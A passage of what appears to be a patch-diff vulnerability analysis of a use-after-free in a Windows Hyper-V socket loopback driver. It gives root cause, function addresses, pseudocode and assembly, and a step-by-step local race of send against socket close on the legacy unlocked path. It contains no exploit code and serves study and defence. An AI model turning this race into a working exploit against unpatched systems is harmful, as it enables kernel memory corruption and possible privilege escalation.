&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (&lt;code&gt;0x1C00065EC&lt;/code&gt;), &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;0x1C0006F50&lt;/code&gt;), &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;0x1C0006C30&lt;/code&gt;), &lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt; (&lt;code&gt;0x1C001B630&lt;/code&gt;), &lt;code&gt;VmbusTlNotifyListenerAccept&lt;/code&gt; (&lt;code&gt;0x1C0005F18&lt;/code&gt;), &lt;code&gt;VmbusTlCommonConnectCompletion&lt;/code&gt; (&lt;code&gt;0x1C0002670&lt;/code&gt;), &lt;code&gt;VmbusTlProcessNewConnectionForListener&lt;/code&gt; (&lt;code&gt;0x1C0019E60&lt;/code&gt;), &lt;code&gt;VmbusTlProviderListen&lt;/code&gt; (&lt;code&gt;0x1C001E420&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;0x1C0001D78&lt;/code&gt;) is a Windows feature-staging check. It calls &lt;code&gt;EvaluateFeature&lt;/code&gt; (&lt;code&gt;0x1C0001D00&lt;/code&gt;), which resolves a cached feature descriptor via &lt;code&gt;EvaluateCurrentStateFromRegistry&lt;/code&gt; and returns whether the cached feature state is not equal to &lt;code&gt;1&lt;/code&gt;. It is &lt;strong&gt;not&lt;/strong&gt; a loopback-vs-VMBus connection-type test; the same loopback endpoint field (&lt;code&gt;connection+0x2B8&lt;/code&gt;) is used on both branches. In the unpatched build this gate is called 18 times across the functions listed above, each time selecting between two ways of reaching the loopback endpoint:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Feature on&lt;/strong&gt; (&lt;code&gt;eax != 0&lt;/code&gt;): the endpoint is obtained through &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt; (&lt;code&gt;0x1C0007128&lt;/code&gt;), which acquires the connection spinlock at &lt;code&gt;connection+0x48&lt;/code&gt;, reads &lt;code&gt;connection+0x2B8&lt;/code&gt;, increments the endpoint reference count at &lt;code&gt;endpoint+0x8&lt;/code&gt; while the lock is held, releases the lock, and returns the referenced endpoint. The caller later drops that reference (and frees the endpoint if it reaches zero).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature off&lt;/strong&gt; (&lt;code&gt;eax == 0&lt;/code&gt;): the legacy path reads &lt;code&gt;connection+0x2B8&lt;/code&gt; directly with no spinlock and no reference increment, and for teardown (&lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;) the read-and-null of &lt;code&gt;connection+0x2B8&lt;/code&gt; is performed without the &lt;code&gt;connection+0x48&lt;/code&gt; spinlock.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On the legacy path, a thread operating on the endpoint (send, receive-notify, accept) holds only a raw pointer with no reference. A concurrent teardown that nulls &lt;code&gt;connection+0x2B8&lt;/code&gt; and drops the last reference can free the endpoint (pool tag &lt;code&gt;'Vnpi'&lt;/code&gt;, &lt;code&gt;0x69706E56&lt;/code&gt;) while the first thread still dereferences it — a use-after-free.&lt;/p&gt;
&lt;p&gt;The patched build removes &lt;code&gt;EvaluateCurrentState&lt;/code&gt; entirely (all 18 call sites and the function itself are gone) and keeps only the spinlock-protected, reference-counted path, deleting the legacy raw-access code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Feature-staging caveat:&lt;/strong&gt; The safe path already exists in the unpatched build; it is merely gated behind the feature flag. Whether the vulnerable legacy path executes at runtime on the unpatched build depends on the feature's default state, which is stored in feature metadata and is not determinable from the binary alone. The patched build is the point at which the fix is made unconditional and the legacy path is deleted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. A local user creates Hyper-V sockets (&lt;code&gt;AF_HYPERV&lt;/code&gt;, address family 34) that form a same-partition (loopback) connection.
2. A socket operation (for example &lt;code&gt;send()&lt;/code&gt;) dispatches through the Winsock Kernel transport-layer interface into &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (&lt;code&gt;0x1C00065EC&lt;/code&gt;).
3. When the feature gate selects the legacy path, the endpoint pointer is read at &lt;code&gt;0x1C0006640&lt;/code&gt; (&lt;code&gt;mov rbx, [r15+2B8h]&lt;/code&gt;) with no lock and no reference.
4. Concurrently, closing the socket drives &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;0x1C0006C30&lt;/code&gt;), whose legacy path nulls &lt;code&gt;connection+0x2B8&lt;/code&gt; and drops the endpoint reference without the connection spinlock.
5. The first thread then dereferences the now-stale endpoint (for example &lt;code&gt;mov rax, [rbx+68h]&lt;/code&gt; at &lt;code&gt;0x1C00066CD&lt;/code&gt;), accessing freed pool memory.&lt;/p&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;Reference model: &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED ---&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CONNECTION&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// feature ON: safe path&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ENDPOINT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ep read under connection spinlock, refcount incremented under lock&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* ... operate on ep-&amp;gt;deliveryQueue (ep+0x68) ... */&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// reference dropped after use (free if last)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// feature OFF: legacy path&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ENDPOINT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;loopbackEndpoint&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// conn+0x2B8, NO lock, NO refcount&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// deref of unreferenced endpoint&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x210&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* ... no reference was ever held ... */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED ---&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CONNECTION&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ENDPOINT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// always&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x210&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* ... reference held throughout; dropped after use (free if last) ... */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;Unpatched &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;0x1C0006F50&lt;/code&gt;). The feature gate at &lt;code&gt;0x1C0006F62&lt;/code&gt; selects the legacy branch at &lt;code&gt;0x1C00070A3&lt;/code&gt;, which reads the endpoint without a lock or reference:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1C0006F50&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006F5F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;object&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006F62&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;feature-staging&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006F67&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006F69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;loc_1C00070A3&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;legacy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;safe&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006F6F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbx&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006F72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;refcount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006F77&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006F83&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;operates&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;then&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1C0006FEB&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;reference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;drop&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;legacy&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;00000001C00070A3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="nx"&gt;B8h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;refcount&lt;/span&gt;
&lt;span class="nt"&gt;00000001C00070AA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rdi&lt;/span&gt;
&lt;span class="nt"&gt;00000001C00070AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_1C00070EA&lt;/span&gt;
&lt;span class="nt"&gt;00000001C00070AF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;deref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;unreferenced&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;endpoint&lt;/span&gt;
